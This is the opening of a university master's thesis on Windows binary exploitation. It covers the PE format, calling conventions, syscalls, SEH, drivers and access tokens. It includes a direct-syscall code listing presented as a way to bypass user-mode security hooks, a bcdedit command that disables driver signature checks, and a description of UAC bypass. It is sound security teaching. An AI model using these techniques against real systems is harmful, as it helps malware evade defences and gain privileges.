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Università di Genova, DIBRIS Via Opera Pia, 13 16145 Genova, Italy
https://www.dibris.unige.it/



MSc Computer Engineering
Software Platforms and Cybersecurity

Advanced binary exploitation in Windows
Techniques and tools

Francesco Zumbo

Advisor: Giovanni Lagorio

June, 2024



Contents

Chapter 1 Introduction 7

Chapter 2 Windows internals 9

2.1 The PE file format . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

2.2 Calling conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

2.3 APIs and System Calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

2.4 Partially documented data structures . . . . . . . . . . . . . . . . . . . . . 18

2.5 Structured Exception Handling (SEH) . . . . . . . . . . . . . . . . . . . . 20

2.6 Kernel-related information . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

2.7 Security mechanisms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

Chapter 3 Tools of the trade 25

3.1 Pwintools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

3.2 Ropper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

3.3 MSFVenom . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

3.4 Debugging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

3.4.1 Debugging exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . 28

3.4.2 Debugging shellcode. . . . . . . . . . . . . . . . . . . . . . . . . . . 30

3.5 Kernel exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31

3.5.1 Kernel debugging . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

3



Chapter 4 A traditional exploit: stack buffer overflow 34

4.1 Attack details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34

4.2 Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

4.3 Shellcoding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

4.4 An example shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

Chapter 5 Exploits and mitigations: a game of cat and mouse 42

5.1 Data Execution Prevention (DEP) . . . . . . . . . . . . . . . . . . . . . . 42

5.2 Bypassing DEP: Return Oriented Programming (ROP) . . . . . . . . . . . 43

5.3 Address Space Layout Randomization (ASLR) . . . . . . . . . . . . . . . . 46

5.4 Bypassing ASLR: leaks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49

5.5 Security Cookies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50

5.6 Bypassing cookies: alternatives to buffer overflow . . . . . . . . . . . . . . 51

5.7 Bypassing cookies: exploiting frame-based SEH . . . . . . . . . . . . . . . 52

5.8 Securing SEH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55

5.9 Control Flow Guard (CFG) . . . . . . . . . . . . . . . . . . . . . . . . . . 56

5.10 Bypassing CFG: alternatives . . . . . . . . . . . . . . . . . . . . . . . . . . 56

5.11 Control-flow Enhancement Technology (CET) . . . . . . . . . . . . . . . . 58

Chapter 6 Kernel exploitation 59

6.1 Differences with user-mode exploitation. . . . . . . . . . . . . . . . . . . . 59

6.2 Exploit examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60

6.3 Kernel shellcoding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63

6.4 Kernel mitigations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67

Chapter 7 Real world examples 69

7.1 Jump to heap in Torrent 3GP Converter . . . . . . . . . . . . . . . . . . . 69

7.2 SEH overwrite in VLC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71

7.3 EternalBlue exploit on Windows SMBv1 server . . . . . . . . . . . . . . . 72

4



Chapter 8 Conclusions 76

Appendix A Cdb/windbg cheatsheet 80

Appendix B Full examples 84

B.1 Vulnerable examples folder . . . . . . . . . . . . . . . . . . . . . . . . . . . 84

B.2 Kernel examples folder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85

B.3 Real examples folder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85

B.4 Other examples folder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86

5



Abstract

Exploitation is the act of taking advantage of vulnerabilities, that is, bugs allowing an
attacker to alter the behavior of a program to violate security properties. Malware and
cyber-criminals routinely employ exploitation techniques to bypass security mechanisms to
infiltrate their target systems. Cyber attacks have a heavy economic impact on countries
and businesses, and their impact keeps growing exponentially: they dealt 6 trillion USD
worth of damage to the world in 2021. Consequently, a deep understanding of exploitation
techniques and their mitigation is crucial to prevent, detect and block such activities.

In this thesis, we present an analysis of low-level binary exploitation techniques, from
simple buffer overflows to sophisticated kernel exploits, working on Windows 11 x64. That
is, exploits applicable to the latest version of the most popular PC operating system, on
the most popular processor architecture.

We start by detailing Windows internals (e.g., file formats, calling conventions, the system-
call mechanism, structured exception handling, and access control). This background
knowledge is required to describe the following exploitation techniques properly. We then
complement this information by introducing some valuable tools to develop and debug
exploits.

We dissect various forms of buffer overflows by presenting the techniques and example
scripts. First, we apply those attacks to simple custom examples we developed and made
available on GitHub, and then we discuss some techniques in the context of real-world
applications. For each vulnerability we also discuss its mitigation (e.g., DEP, ASLR,
stack-cookies) and how mitigation can be bypassed in some scenarios. We finally discuss
kernel-mode exploitation, examining vulnerable device-drivers, their exploitation and ker-
nel shellcoding. We put everything together by showing a chain of attacks to escalate
privilege by stealing a security token, from a high-privilege process, through a vulnerable
driver.



Chapter 1

Introduction

Computer programs are written by humans. As such, programs are full of bugs, that is,
programming errors. Some of them only cause a nuisance to the user, while others com-
promise important functionalities. However, there is a class of bugs that can compromise
the security properties of a program. Bugs like that are called vulnerabilities.

Some vulnerabilities, if exploited, enable hostile actors to crash the program, that is, per-
form a Denial of Service attack. Other vulnerabilities even allow attackers to perform
malicious actions bypassing security mechanisms.

Vulnerabilities are a problem to this day [2, 7, 19, 26] and impact every kind of software,
even Operating Systems [15].

There are several reasons to learn exploitation, excluding nasty ones. One is indeed to
be able to design and develop anti-malware software, that is, an antivirus. Malware uses
different means to achieve malicious behaviour, and vulnerability exploitation is one of
them [17]. Additionally, different vulnerable patterns can be spotted on the fly during
development if one has learned to think as an attacker. Finally, developing exploits is
quite a creative activity.

There are many types of vulnerabilities. Some of them are related to high-level language
programs, such as SQL injection, but this thesis does not cover them. Instead, we explore
low-level vulnerabilities, such as buffer overflows, arithmetic overflows, arbitrary writes, and
so on. But the main focus of the thesis is how low-level vulnerabilities can be exploited.

The focus is also restricted to the Windows Operating System. For this reason, we first
inspect different mechanisms specific to Windows in Chapter 2. As every field of research,
exploitation, too, has its own “tools of the trade”, so Chapter 3 contains an overview of the
tools we used. Then, the oldest and simplest publicly documented buffer-overflow exploit
is presented in Chapter 4.
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In response to that attack, mitigations were developed and then enforced both by Windows
and by compilers. The mitigations were then bypassed by novel exploit techniques, which
were later mitigated. This “cat and mouse” race is outlined in Chapter 5.

We developed a lot of examples, both to practice exploitation techniques and to explain
them. So, this thesis contains some of them, and sometimes only the relevant part is shown.
However, all the examples are available on GitHub, and Appendix B contains a description
of the folder structure of the repository.

After that, exploits against the Windows kernel are explored in Chapter 6, followed by
some exploits on real programs in Chapter 7.

Finally, in Chapter 8, some conclusions are drawn and further work is discussed.
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Chapter 2

Windows internals

Doing binary exploitation in Windows implies dealing with low-level mechanisms belonging
both to the CPU architecture and the Operating System, as well as with high-level mech-
anisms specific to Windows. This chapter contains useful information about the Windows
Operating System, to better understand the exploits which rely on those details.

First, Section 2.1 describes the PE file format, used to store programs and drivers on disk.
Then, the most important calling conventions, used at assembly level to regulate function
invocations, are described in Section 2.2. The way programs “talk” to the kernel to request
basic services is outlined in Section 2.3, followed by Section 2.4 that talks about some
data structures which are supposed to be opaque to programmers, but are still accessible
by programs. Then, the native Windows exception handling mechanism is described in
Section 2.5. Section 2.6 gives some details related to the Windows kernel and code that
runs in kernel mode, such as drivers. Finally, Section 2.7 talks about relevant high-level
security mechanisms implemented in Windows.

2.1 The PE file format

PE, which stands for “Portable Executable”, is a file format that contains all data required
to run a program.
To develop and understand several exploits, some knowledge of the PE file format is re-
quired. Figure 2.1, taken from [18], is an overview of a PE file’s content.

A PE executable begins with a valid MS-DOS program, also called the MS-DOS stub,
for compatibility reasons: if a PE is run on MS-DOS, then the MS-DOS stub is executed
instead of the actual Windows program. So, as per MZ specification, the first two bytes
of a PE file are the ASCII characters M and Z. At 0x3c bytes from the beginning there is
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Figure 2.1: PE format

the file offset of the PE signature, "PE\0\0".

The latter is followed by the COFF File Header, declared in winnt.h as follows:

typedef struct _IMAGE_FILE_HEADER {

WORD Machine;

WORD NumberOfSections;

DWORD TimeDateStamp;

DWORD PointerToSymbolTable;

DWORD NumberOfSymbols;

WORD SizeOfOptionalHeader;

WORD Characteristics;

} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

The machine field tells the code target architecture: IMAGE FILE MACHINE I386 (0x14c)
means x86, while IMAGE FILE MACHINE AMD64 (0x8664) means x64. Characteristics is a bit
field indicating various useful attributes, described later.

10



The COFF File Header is 20-byte long and it is followed by the optional header, which is
mandatory for PE executables. Here are some fields from the optional header:

typedef struct _IMAGE_OPTIONAL_HEADER {

WORD Magic;

// ...

DWORD AddressOfEntryPoint;

// ...

WORD DllCharacteristics;

// ...

DWORD NumberOfRvaAndSizes;

IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];

} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

Its size is contained in the COFF File Header in SizeOfOptionalHeader. It begins with
a 2-byte version indicator, Magic: 0x10b means PE32, while 0x20b means PE32+. The
latter is the usual format for 64-bit programs, so it is improperly called PE64 too. The
declaration shown above is for PE32 format; the listed fields are the same for PE32+.
At offset 16, there is the AddressOfEntryPoint, that is, the Relative Virtual Address (the
offset in memory from the base address where the program will be loaded) of the first
instruction of the program. At offset 70, there is the bit field DllCharacteristics, described
later. At offset 96 or 112 (for PE32 or PE32+, respectively) there is the DataDirectory
array, which contains the Relative Virtual Address (RVA for short) of further tables. Each
entry contains:

typedef struct _IMAGE_DATA_DIRECTORY {

DWORD VirtualAddress;

DWORD Size;

} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

The actual array length is in NumberOfRvaAndSizes, so there may be no entries. Each
entry has a different interpretation: the first entry points to the Export Directory Table,
while the second to the Import Directory Table, both described later. The full list of entries’
indices is listed below, as declared in winnt.h:

11



#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory

#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory

#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory

#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory

#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory

#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table

#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory

#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data

#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP

#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory

#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory

#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers

#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table

#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors

#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor

Characteristics field in the COFF File Header. Characteristics’s bits indicate vari-
ous features of the program.

Some interesting flags are:

• IMAGE FILE DLL (mask 0x2000) is set for DLLs and cleared for normal executables.

• IMAGE FILE SYSTEM (mask 0x1000) is set for drivers and other executables which
should be executed in kernel mode.

DllCharacteristics in the Optional Header. Despite its name, DllCharacteristics also
describes features of normal programs, not only DLL features.

Some interesting flags are:

• IMAGE DLLCHARACTERISTICS DYNAMIC BASE (mask 0x40) is set if the program sup-
ports ASLR, explained in Section 5.3;

• IMAGE DLLCHARACTERISTICS NX COMPAT (mask 0x100) is set if the program supports
DEP, explained in Section 5.1;

• IMAGE DLLCHARACTERISTICS NO SEH (mask 0x400) is set if the program does not have
any Structured Exception Handler, explained in Section 2.5;

• IMAGE DLLCHARACTERISTICS GUARD CF (mask 0x4000) is set if the program supports
CFG, explained in Section 5.9.
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Sections. After the Optional Header, there is the Section Table, which is an array of
Section Headers. A section, in the PE file, is a region of the file that is meant to be
contiguous in memory once it is loaded. More precisely, a section can be bigger than in
the file after loading, in which case it is padded with zeroes; a section can also have a
null size in the file. Each section has a name and can be marked as readable, writable or
executable, or a combination of them. Although it is not mandatory, sections usually have
conventional names: the code section is usually called .text, the initialized data section
is .data, the uninitialized data is .bss, the imports reside in .idata, and so on. The
Section Header has the following declaration in winnt.h:

typedef struct _IMAGE_SECTION_HEADER {

BYTE Name[8];

DWORD VirtualSize;

DWORD VirtualAddress;

DWORD SizeOfRawData;

DWORD PointerToRawData;

DWORD PointerToRelocations;

DWORD PointerToLinenumbers;

WORD NumberOfRelocations;

WORD NumberOfLinenumbers;

DWORD Characteristics;

} IMAGE_SECTION_HEADER,*PIMAGE_SECTION_HEADER;

Export Directory Table. The exported functions are identified by both a number, called
ordinal number or just ordinal, and by a name represented by an ASCII string, although
the name is optional. The Export Directory Table is a structure with several fields which
describe various characteristics of the exported functions:

typedef struct _IMAGE_EXPORT_DIRECTORY {

DWORD Characteristics;

DWORD TimeDateStamp;

WORD MajorVersion;

WORD MinorVersion;

DWORD Name;

DWORD Base;

DWORD NumberOfFunctions;

DWORD NumberOfNames;

DWORD AddressOfFunctions;

DWORD AddressOfNames;

DWORD AddressOfNameOrdinals;

} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

Base is the first valid ordinal. NumberOfFunctions refers to the total number of exported
functions. NumberOfNames is the number of functions exported by name.
AddressOfFunctions is the RVA of the array of exported functions’ RVAs; the ordinal is
a valid index in this array. AddressOfNames is the RVA of the array of exported func-
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tions’ names, that is an array of RVAs of strings; this array is lexicographically ordered
(A < Z < a < z). AddressOfNameOrdinals is the RVA of the array of WORDs that indicate
the ordinal corresponding to the name with the same index from the previous array.

So, to find a function by its name, one has to look into the name array for the name
itself; then, use the same index to retrieve the corresponding ordinal. Finally, the ordinal
is the correct index in the array of functions’ RVAs. Figure 2.2 highlights the relationship
between tables in the Export Directory Table.

...

"VirtualAlloc"

"ExitProcess"

"CreateFileA"

...

Exported names

...

253

1074

634

...

Ordinals

...

VirtualAlloc RVA

CreateFileA RVA

ExitProcess RVA

...

Exported functions

Figure 2.2: Exported functions tables

Import Directory Table. The Import Directory Table is an array of 20-byte entries,
each describing imported symbols from one DLL:
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typedef struct _IMAGE_IMPORT_DESCRIPTOR {

DWORD OriginalFirstThunk;

DWORD TimeDateStamp;

DWORD ForwarderChain;

DWORD Name;

DWORD FirstThunk;

} IMAGE_IMPORT_DESCRIPTOR;

OriginalFirstThunk is the RVA of the Import Lookup Table (ILT). Name is the RVA of the
DLL’s name from which the symbols are to be imported. FirstThunk is the RVA of the
Import Address Table (IAT).

The ILT is an array of elements, each describing a symbol to import. The size of each
element is 32 or 64 bits, respectively in a PE32 or PE32+ file. The most significant bit is
1 if the element identifies the symbol by its ordinal; else it is the RVA to an entry of the
Hint/Name Table. If the element is an import by ordinal, then the 16 least significant bits
contain the ordinal. If the element is an import by name, the RVA is contained in the 31
least significant bits. In PE32+ format, the bits 31-62 are unused.

The IAT’s contents are identical to the ones of the ILT before image loading. The Windows
loader fills the IAT with pointers to the resolved symbols’ addresses.

The Hint/Name Table is a sequence of entries. They are composed of a WORD that hints at
the index of the function in the DLL’s export table, and the null-terminated string itself,
followed by an additional null byte to align to 16 bits, if necessary.

2.2 Calling conventions

A calling convention defines details about how functions have to be called, namely how
the parameters are passed and which registers the callee must preserve. In Windows, for
32-bit programs (that is, built for the x86 architecture), two calling conventions are mainly
used: stdcall and C call, also called cdecl.

Instead, 64-bit programs use the Microsoft x64 calling convention. Within a program,
different functions can follow different calling conventions.

stdcall. This calling convention dictates that all parameters are passed via the stack, right
after (higher address) the saved return address. The first parameter is the closest to the
saved return address. The callee has to pop the parameters off the stack upon returning
by using the ret instruction with an argument. The registers ebx, ebp, esi, edi are
callee-saved, while eax, ecx, edx are considered volatile. The return value is put in eax if
integer or pointer; st0 if float.
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Additionally, when compiling, the function names written in the object file are decorated:
an underscore is prepended, while the suffix is composed by an at sign followed by the
number of bytes used by the parameters and popped off the stack by the ret instruction.
For example, the function kernel32!VirtuaAlloc, that is, the function VirtualAlloc from
kernel32.dll, has the following signature:

LPVOID STDCALL VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType,

DWORD flProtect);

Since it has four arguments, 16 bytes in the stack are used and its decorated name will
be VirtualAlloc@16. Instead, user32!DestroyWindow takes a single argument, so its
decorated name is DestroyWindow@4.

Stdcall is the calling convention followed by all system DLLs.

cdecl. This calling convention is similar to stdcall, but, unlike it, the callee does not clean
the stack. Another difference is that cdecl can have functions with a variable number of
parameters, unlike stdcall, which must pop a known number of bytes when returning.

In Unix, x86 programs stored in the ELF format use cdecl too, but there is a difference: on
Windows, if a 32-bit wide or smaller structure has to be returned, its content is put in eax;
else, if it is 64-bit wide or smaller, it is put in eax:edx (eax contains the lower-address
bytes). Instead, if the structure is bigger than 64 bits, the caller allocates memory and
passes a pointer to it as the first parameter (as in ELF), shifting the other parameters by
one.

Cdecl function names are also decorated by prepending an underscore. For example, the
main function is decorated as main.

Cdecl is the default calling convention followed by C programs.

Microsoft x64 calling convention. This calling convention is the only one used by
64-bit programs on Windows. The first four parameters are passed in rcx, rdx, r8 and r9,
if integers or pointers; XMM0 to XMM3 if floats. A 32-byte memory region, called “shadow
store”, must be allocated above the saved return address by the caller for the callee to
write the parameters from the registers, whatever number of arguments the function takes.
Further parameters are put in the stack above the shadow store. The return value is put
in rax.

2.3 APIs and System Calls

If a running thread has to perform certain actions, like generating other threads or inter-
acting with files or the network, it has to ask the Operating System to do it. Windows
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exposes such functionalities via an Application Programming Interface or API for short.

Syscalls. The Windows API can be invoked in a way that depends on the program and
Windows bitness. All those methods have one point in common: the execution must
transition from ring 3 to ring 0 (respectively, lowest and highest CPU privilege level),
specifically to the kernel code that serves the API services.

In 32-bit Windows, 32-bit programs use the int 0x2e instruction, which triggers a software
interrupt, handled by the kernel. Since a single interrupt is used, a System Service Number,
or just syscall number, is put in eax to select the desired API call. In 64-bit Windows,
64-bit programs use the syscall instruction, which transfers control to the kernel. The
syscall number is put in rax.

Wrappers. However, syscall numbers change with each Windows version and Service
Pack. For this reason, to support portability, Windows comes with system DLLs, exposing
a stable interface over the syscalls. In particular, kernel32.dll and kernelbase.dll expose
functions to request the OS to perform actions for programs. However, they do not invoke
syscalls directly but rely on ntdll.dll, which contains normal and wrapper functions. A
wrapper function in ntdll is a function whose name starts with Nt and which takes the
parameters passed according to its calling convention and puts them into specific registers,
then performs the actual system call with the proper syscall number. Functions in ntdll
change among different versions, like syscall numbers, so ntdll is not intended to be used
by programs because it would affect portability.

Since the wrappers are functions in a DLL, they can be reached in two ways: the canonical
Windows import mechanism (import table or kernel32!GetProcAddress) or by reading
the base address of the loaded instance of ntdll from the Process Execution Block, explained
in Section 2.4, and parse the PE header of ntdll, as shown in Section 4.4.

WoW64. 64-bit Windows can run 32-bit programs too: a 32-bit process running on
64-bit Windows is called a WoW64 process, that is, Windows 32-bit On Windows 64-bit.
However, the kernel does not contain any 32-bit code: a far jump with segment 0x33 must
be performed to switch to 64-bit mode, then syscalls can be invoked as in 64-bit programs.

However, programs do not have to perform the far jump manually nor be aware of it, since
WoW64 processes have two ntdll loaded: one is the normal 64-bit version, while the other
is a 32-bit DLL with 32-bit code. In the latter, syscall invocation is replaced with the far
jump that transitions to 64-bit mode and calls its 64-bit counterparts.

Using syscalls directly. From an attacker’s perspective, using syscalls directly has the
advantage that (user mode) hooks are bypassed altogether. A hook is a technique to hijack
the control flow by replacing some code bytes in a specific function with a trampoline, that
is, a call or jmp instruction. For this reason, multiple methods [4, 11, 12] were developed
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to retrieve syscall numbers dynamically to use them directly.

Some methods, like sysWhispers [11], are based on static tables that contain all syscall
numbers for all or many Windows versions. In other methods, the assembly code of the
desired wrapper is read to extract the syscall number based on what is written in the *ax
register. Finally, other methods, like freshyCalls [4] and sysWhispers2 [12], are based on
the fact that wrappers are sorted in memory based on the syscall number they wrap. There
is no evidence that this is required to hold, but it is true up to the latest Windows version
at the moment of writing.

An example is shown in Listing 2.1. The program uses freshyCalls [4], which is a C++
library that retrieves the syscall numbers at runtime. In the program, some system struc-
tures are filled with the proper data, then a calculator is opened by using the syscall
NtCreateUserProcess, passing to it the aforementioned structures, and then the program
is closed by invoking NtTerminateProcess.

2.4 Partially documented data structures

Some structures are supposed to be only used by system DLLs and the kernel, not in
programs. For this reason, such structures were not officially documented in the beginning.
Some programs, bundled with Windows, still make use of them, despite being supposed
not to use them. They were later partially documented.

Thread Execution Block. The Thread Execution Block (TEB for short) is a data
structure created by the kernel for each thread of a process. It contains various fields,
most of which lack official documentation; originally it was completely undocumented. At
the beginning of the structure, there is a pointer to the first SEH Record, explained later
in Section 2.5. At offset 0x30 or 0x60, respectively for 32-bit and 64-bit programs, there
is the address of the current process’ Process Execution Block. Each thread can access its
TEB as it is located at a fixed address (applying segmentation): fs:0 in 32 bits, gs:0 in
64 bits.

Process Execution Block. The Process Execution Block (PEB for short) is a data
structure analogous to the TEB, but describes the whole process instead. Like the TEB,
it is mostly undocumented. At offset 0xc or 0x18, in 32- or 64-bit code respectively, there
is a pointer to PEB LDR DATA, which contains a list of loaded modules. Section 4.3 shows
an example of using the PEB LDR DATA structure. As previously mentioned, a pointer to
the PEB is located within the TEB.

KPCR stands for Kernel Processor Control Region and is a data structure used by the
kernel to hold runtime information about a logical processor. When running in kernel
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wchar_t exeString[] = L"\\??\\c:\\Windows\\System32\\calc.exe";

PS_CREATE_INFO createInfo;

memset(&createInfo, 0, sizeof(PS_CREATE_INFO));

createInfo.Size = sizeof(createInfo);

createInfo.State = 0; // PsCreateInitialState

UNICODE_STRING calcName;

calcName.MaximumLength = sizeof(exeString);

calcName.Length = sizeof(exeString) - 2;

calcName.Buffer = exeString;

PS_ATTRIBUTE_LIST * attributeList;

RTL_USER_PROCESS_PARAMETERS * userProcessParameters;

//...

syscall.CallSyscall(

"NtCreateUserProcess",

&hProc,

&hThread,

0x2000000, // process access privilege

0x2000000, // thread access privilege

0, // OBJECT_ATTRIBUTES for process

0, // OBJECT_ATTRIBUTES for thread

0, // process flags

0, // thread flags

userProcessParameters,

&createInfo,

attributeList

).OrDie("NtCreateuserProcess failed with code: {{result_as_hex}}");

syscall.CallSyscall(

"NtTerminateProcess",

0, // NtCurrentProcess()

1337 // exit status

);

Listing 2.1: Direct Syscall invocation

mode, it is pointed to by the fs or gs segment register, in 32- or 64-bits respectively,
similarly to the TEB. Among other things, it contains a pointer to the currently executing
thread’s ETHREAD structure, which is the kernel representation of a user thread.

KUSER SHARED DATA is a structure that is both mapped in user-space and kernel-
space memory at fixed addresses. The user-mode mapping is read-only, while the kernel-
mode mapping is also writable. However, starting with a recent Windows version, the
fixed-address kernel-mode mapping became read-only too. A second, writable mapping is
created at a randomized address, as per KASLR (see Section 5.3).
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2.5 Structured Exception Handling (SEH)

Structured Exception Handling is a Windows’ specific mechanism to deal with exceptional
situations that can occur during the execution of programs. For example, a memory access
violation, an integer division by zero, or a detected security problem. To handle those
situations, handler functions have to be registered to Windows using various methods,
and those functions will be called whenever an exception occurs. One handler registration
method is the so-called frame based, which is only valid for 32-bit programs. The frame-
based handlers are pointed to by a linked list, whose first entry is pointed to by a member
of the TEB. Each node of the list is an SEH Record (unofficial name), composed of a pointer
to the next element and a pointer to the exception handler:

typedef struct SEH_Record {

SEH_Record * next;

void * handler;

};

The handler has the following signature:

EXCEPTION_DISPOSITION STDCALL handler(

EXCEPTION_RECORD * record, // data about the exception

SEH_Record * establisherFrame,

CONTEXT * context, // registers content before exception

void * dispatcherContext

);

Another handler registration method is the Vectored Exception Handling, which uses several
functions to register the handlers. This method is both valid for 32- and 64-bit programs.

So, when an exception occurs in a 32-bit process, the first registered Vectored Exception
Handler, VEH for short, is called first. The handler has to check the type of exception, and
handle it if it is able to. The handler must return a value that tells what the handler did:
whether it was able to handle that type of exception and, if it was, whether the execution
can resume at the faulty instruction. If the exception was not handled, the next VEH is
invoked. If no VEH is suited for the exception, the first SEH Record is fetched from the
TEB and the corresponding handler is called. If the exception was not handled, the next
SEH Record is fetched from the current one and the next handler is called. If no handler
is able to deal with the exception, a default action is performed by Windows, that is, in
most cases, to terminate the process.
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2.6 Kernel-related information

The exploitation of kernel-level vulnerabilities will be discussed in Chapter 6, so some
information is needed to understand it.

Drivers are programs that run in ring 0 to have access to system data structures or
to be able to drive input and output operations with a specific device. Some drivers
expose a device object so that user-mode processes can communicate with them. The
communication is achieved via the kernel32!CreateFile function to obtain a HANDLE for
the device and the kernel32!DeviceIoControl function to exchange data. The driver is
able to distinguish between different request message types via an IO Control Code, or
ioctl for short, which is passed to DeviceIoControl. The latter also receives input and
output buffers that are passed to the driver.
Drivers’ instructions and data are stored in PE files, with the IMAGE FILE SYSTEM flag set
in Characteristics field. The driver file usually has the .sys file extension.
Since drivers run with a high privilege level, starting with Windows Vista, all drivers must
be digitally signed to be loaded. Furthermore, from Windows 10 version 1607 all drivers
must be signed by Microsoft. In order to test drivers during development, the signature
enforcement can be temporarily disabled, for example by enabling test mode:

bcdedit -set TESTSIGNING on

Kernel vulnerabilities. Some drivers fail to properly validate user input, resulting in
vulnerable drivers. The Windows kernel is vulnerable too [15]: it is a very complex system,
so it is hard to keep it safe. This can lead an attacker to be able to perform various malicious
operations, up to arbitrary code execution with kernel privilege. Vulnerability types are the
same as for normal programs: buffer overflow, arbitrary read/write, arithmetic overflow,
and so on. Exploiting kernel vulnerabilities is discussed in Chapter 6.

Memory layout information. First of all, user processes are mapped in the lower half of
the address space, that is, any user-space address has the most significant bit cleared. On
the contrary, any kernel/driver-space address has the most significant bit set. This allows
processes and the kernel to be both mapped at the same time with no address conflicts.
Unlike user-mode processes, all loaded drivers and the kernel itself share the same Virtual
Address Space (VAS). Drivers can allocate memory as paged or non-paged : the latter is
resident, while the former can temporarily be moved to swap space in secondary memory.
At a given time and on a given CPU core, a single process’ memory is mapped in the VAS,
while drivers and the kernel are always mapped, except for paged allocations.
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2.7 Security mechanisms

Despite the focus of this thesis being low-level exploits, some high-level details are still
useful to grasp.

Access tokens are objects that describe the security context of a process. They are
generated when a user logs in. When a user launches a process, the latter is given a
copy of the user’s token. Tokens are used by the OS to verify that processes have sufficient
permissions to access securable objects, for example, to modify the registry, perform actions
on processes, read a file, and so on. Each securable object has an associated security
descriptor, which is the security context of a securable object. The token is implemented
as a data structure that always resides in kernel memory.

Additionally, some sensitive actions have no security descriptor, such as loading a driver,
shutting the computer down, or locking physical memory pages. Permissions to perform
such actions are also regulated by tokens: the underlying data structure contains the list
of permissions granted to the process.

There are two types of access tokens: primary tokens and impersonation tokens. A primary
token can only be attached to a process, while the second kind can only be attached to
a thread. By default, if a thread has not explicitly set its impersonation token, then
the primary token of the owning process is used to authorize operations. The reason to
have two token categories for threads and processes is that a server program may need to
perform actions on behalf of different remote users; impersonation tokens avoid the need
of switching the process’ token and the related synchronization that it would require.

Figure 2.3, taken from a Microsoft documentation page [14], shows the interaction between
access tokens and security descriptors.

Each token has an associated integrity level that is proportional to the trust the OS has
towards that process. There are five integrity levels, listed below from the least privileged
to the most privileged:

1. untrusted;

2. low;

3. medium, which is the default for normal users;

4. high, which is the default for administrators;

5. system.

A process can lower its own integrity level to improve overall system security: for example,
a web browser does not need to access any securable object, so it can set its integrity level
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Figure 2.3: Tokens and securable objects

to untrusted, and, in case of successful exploitation, the attacker has limited influence over
the system.

User Access Control, or UAC for short, is a mechanism to lower an admin user’s
privileges when full permissions are not needed by a process. It is achieved by generating
two access tokens when an administrator logs in, one as a normal user and one as a
privileged user. The latter is only used if an application requires higher privileges and only
if the physical user explicitly authorizes the process. For all other processes, the normal
user token is used.

However, under default settings, this protection can be bypassed [10]: trusted processes,
that is, programs bundled with the OS, can perform administrator-only actions without
requiring explicit user authorization. Those processes run at medium integrity level, so
another process with the same integrity level can legitimately inject a thread in the trusted
process and execute arbitrary code in its context.

Protected service processes. Anti-malware programs can take advantage of this pro-
tection mechanism, which consists in only allowing code signed by the program’s software
vendor to load in the protected process and denying other external interferences such as
virtual memory inspection. To achieve it, the anti-malware program must also have an
Early Load Anti-Malware driver, that is, a driver loaded during booting to reduce the like-
lihood of malware interference. The driver also contains information about valid vendor
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certificates used to sign the allowed user code.

Information disclosure to diagnostic tools. Driver and kernel vulnerabilities might
allow leaking data or addresses from the kernel. However, some API calls yield such infor-
mation about the kernel too, to allow kernel diagnosis tools to run in user mode and this
is not considered a vulnerability. As an example, the ntdll!NtQuerySystemInformation
function can return a list of all loaded kernel modules, including their base addresses. Since
this information can be of great help to malware, as explained in Section 5.4, these API
calls return information only to processes that have read permissions over securable objects
with medium integrity1.

1More precisely, it depends on the version, as described in https://www.geoffchappell.com/studie

s/windows/km/ntoskrnl/api/ex/restricted_callers.htm
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Chapter 3

Tools of the trade

To develop an exploit, many problems have to be faced, such as finding and examining a
vulnerability, interacting with the vulnerable process/server, dealing with multiple possible
